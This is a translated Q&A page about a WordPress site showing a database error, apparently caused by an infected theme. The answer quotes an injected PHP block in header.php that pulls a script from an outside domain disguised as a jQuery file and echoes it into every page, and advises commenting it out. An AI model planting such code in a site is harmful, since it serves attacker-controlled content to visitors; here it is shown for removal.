无法连接到数据库server.Couldn't查找数据库jimbob_jc(Couldn&#

2019-09-28 03:59发布

我需要你的建议。

我使用WordPress的,我得到了与下面的消息头错误:

*Couldn't connect to database server.Couldn't find database jimbob_jc.
 An unexpected problem has occured with the application. 
 SELECT statscurl_id FROM `statscurl` WHERE statscurl_ip = '';*

那是什么意思? 我如何解决它?

我已经搜索谷歌,但我已经没有与具有类似问题的其他任何成功。

Answer 1:

注释掉header.php文件下面的代码。

<?php
  if(function_exists('curl_init'))
  {
    $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
    $ch = curl_init();  
    $timeout = 5;  

    curl_setopt($ch,CURLOPT_URL,$url); 
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); 
    $data = curl_exec($ch);  

    curl_close($ch); 
    echo "$data";
  }
?>


文章来源: Couldn't connect to database server.Couldn't find database jimbob_jc